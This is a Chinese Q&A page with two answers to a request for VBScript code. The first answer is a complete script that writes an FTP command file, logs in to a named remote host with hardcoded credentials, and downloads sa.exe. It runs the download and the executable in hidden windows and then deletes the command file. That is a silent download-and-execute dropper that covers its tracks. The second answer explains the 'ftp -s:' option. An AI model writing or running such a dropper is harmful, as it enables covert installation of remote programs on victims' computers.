请vbs脚本高手帮忙编写一段源码

2025-02-25 21:29:55
推荐回答(2个)
回答1:

Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile("cmd.txt", 2, True)
f.WriteLine "open shiguang.meibu.com" 'echo open shiguang.meibu.com> cmd.txt
f.WriteLine "sa" 'echo sa>> cmd.txt
f.WriteLine "sa" 'echo sa>> cmd.txt
f.WriteLine "get sa.exe" 'echo get sa.exe >> cmd.txt
f.WriteLine "bye" 'echo bye >> cmd.txt
f.Close
Set cik = CreateObject("WScript.Shell")
cik.run "ftp -s:cmd.txt",0 'ftp -s:cmd.txt
cik.run "sa.exe",0 'sa.exe
cik.run "cmd /c del cmd.txt /q /f",0 'del cmd.txt. /q /f

回答2:

你可以将ftp命令写在文件里面,用vbs 调用ftp -s:文件名 -s:filename Specifies a text file containing FTP commands; the
commands will automatically run after FTP starts.